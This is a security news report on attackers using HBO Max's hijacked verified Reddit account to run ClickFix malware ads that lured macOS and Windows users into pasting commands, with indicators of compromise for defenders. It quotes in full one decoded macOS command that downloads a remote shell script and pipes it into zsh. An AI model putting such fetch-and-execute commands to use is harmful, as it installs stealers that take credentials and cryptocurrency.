Hijacked HBO Max Reddit Account Pushed 108 ClickFix Malware Ads

Attackers compromised HBO Max’s verified Reddit account and used its trusted identity to distribute malicious advertisements targeting Windows and macOS users.

A report published on 14 September 2026 details 108 malicious ads posted through the u/hbomax account over approximately 48 hours. Researchers from Hudson Rock and ADAMnetworks connected the activity to PasteSwitch, a broader malware operation built around ClickFix social-engineering techniques.

The ads did not rely on ordinary malicious downloads. Instead, victims were told to copy commands into Windows Run, PowerShell, or macOS Terminal, allowing the attackers to exploit the users’ own trust in operating-system tools.

A verified account became a malware distribution channel

The first identified advertisement promoted what appeared to be a native HBO Max application for macOS. It directed users to hbomaxx[.]us, a site designed to resemble an official software download page.

Clicking its join or download controls did not produce a standard installer. The page instead presented instructions for opening Terminal and pasting a supplied command.

Researchers found several other destinations advertised through the compromised Reddit account:

• 40 ads redirected users to hbomaxx[.]app
• 36 promoted the fake AI and developer-services site codex-craft[.]com
• 15 pointed to apple.clean-disk-guide[.]com
• 11 redirected to code-desktop[.]com
• Six promoted hbomax-macos[.]com

The campaign therefore reached beyond people searching for HBO Max software. Its lures also targeted developers, prospective users of AI services, and macOS owners looking for disk-cleaning or system utilities.

The use of a verified corporate account gave the advertisements a powerful legitimacy signal. Users who might reject an unknown advertiser could reasonably assume that content published as HBO Max had passed both brand and platform controls.

The method used to gain control of u/hbomax is not known. There is also no confirmed information showing whether other HBO or Warner Bros. Discovery accounts or internal systems were compromised.

ClickFix turns the victim into the execution mechanism

ClickFix attacks commonly disguise command execution as a routine troubleshooting or verification step. A page might claim that the user must repair an error, complete a CAPTCHA, or run a command to install legitimate-looking software.

This design changes the delivery path. Instead of asking the browser to download an obviously executable file, the attacker persuades the victim to launch a trusted local interface and execute the payload manually.

On macOS, one command observed in the campaign was hidden with Base64 encoding. Once decoded, it became:

export _watch_v2=97d9d8dc;curl -sL "https://ember-bridge[.]com/curl/a44a37519au/setup.sh"| zsh

The command creates the _watch_v2 environment variable, retrieves a shell script from ember-bridge[.]com, and pipes the response directly into the Z shell interpreter. No review of the downloaded script is required before execution.

Hudson Rock identified that domain as malware-delivery infrastructure associated with PasteSwitch. The operation’s backend can select campaigns, payloads, operating systems, and cryptocurrency-theft methods according to visitor characteristics.

This flexibility allows one advertising operation to serve different attack chains to Windows and macOS systems. It also lets the operators rotate between credential theft, malware loading, fraudulent wallet applications, and clipboard manipulation.

macOS payloads stole credentials and wallet recovery phrases

PasteSwitch delivered MacSync, an information stealer designed to collect sensitive data from macOS devices. Its targets include browser credentials, Firefox profiles, Telegram information, Apple Notes, and macOS passwords.

Another chain installed malware described as “AMOS helper.” It establishes persistence using a directory named:

.com.apple.accountsd

That name resembles an Apple system component, potentially making it less conspicuous during a casual inspection. Once installed, the malware can register the machine with attacker-controlled infrastructure and accept further tasks.

The campaign also distributed fraudulent cryptocurrency applications impersonating Ledger, Trezor Suite, and Exodus. These applications sought wallet recovery phrases, which can give an attacker control of the associated cryptocurrency without needing continued access to the infected computer.

These separate payloads create several possible outcomes from the same advertising campaign. A victim could lose browser credentials, private application data, system passwords, or cryptocurrency assets. Persistent malware could also provide a foothold for later activity.

Windows chains used AMSI bypass and memory-only execution

Windows users encountered instructions involving mshta and PowerShell. Both are legitimate Windows components, but attackers frequently abuse them to execute scripts and retrieve additional stages.

One identified chain used an MP3/HTA polyglot: content constructed so it could be treated as more than one file type depending on how it was processed. The chain could create a scheduled task, launch 32-bit PowerShell, and disable Microsoft’s Antimalware Scan Interface, or AMSI.

It then generated victim-specific infrastructure using the computer name and username. Obfuscated PowerShell and shellcode ultimately loaded Amatera Stealer directly into memory.

That final stage did not first need to be saved as a conventional executable on disk. Memory-only loading reduces the evidence available to security controls that primarily scan newly created files, although endpoint monitoring can still detect associated behavior.

PasteSwitch has also delivered AnimateClipper and ZigClipper. These clipboard hijackers monitor copied cryptocurrency addresses and replace them with addresses controlled by attackers. Because wallet strings are long and difficult to verify visually, victims may approve the altered destination without noticing the substitution.

Defenders should hunt for commands, persistence, and infrastructure

Reddit suspended the reported advertisements and referred the matter to its Security and Safety teams. HBO and Warner Bros. Discovery had been contacted, but no response had been received at the time of reporting.

There is no software patch for the central problem because the attack depends primarily on account compromise and social engineering. Organizations should combine endpoint hunting with tighter controls over corporate advertising and social-media identities.

Security teams should block or investigate connections to:

hbomaxx[.]us
hbomaxx[.]app
codex-craft[.]com
apple.clean-disk-guide[.]com
code-desktop[.]com
hbomax-macos[.]com
ember-bridge[.]com

On macOS endpoints, defenders should search for the .com.apple.accountsd persistence directory, the _watch_v2 environment variable, and access to:

/curl/a44a37519au/setup.sh

Windows telemetry should be reviewed for unusual mshta execution, scheduled-task creation, 32-bit PowerShell launches, AMSI modification, obfuscated scripts, shellcode loading, and processes exhibiting direct in-memory payload execution.

Investigations should also consider indicators tied to MacSync, AMOS helper, Amatera Stealer, AnimateClipper, and ZigClipper. Cryptocurrency users may need to assess whether recovery phrases were entered into suspicious applications and whether copied wallet addresses were altered before transactions.

Verified identities cannot substitute for command scrutiny

Users should treat any website instruction to paste a command into Terminal, PowerShell, or Windows Run as potentially hostile. That remains true when the instruction is presented as a CAPTCHA, application installer, or error-repair procedure.

Organizations controlling verified brand accounts should deploy phishing-resistant multifactor authentication, rotate exposed credentials, revoke unrecognized sessions, and review administrative access. Monitoring should flag unexpected advertising creation, unusual campaign volumes, or changes made outside normal workflows.

The HBO Max incident shows how a compromised identity can bridge the trust gap that normally protects users from unfamiliar domains. The advertisement may look authentic. The pasted command still determines what the machine executes.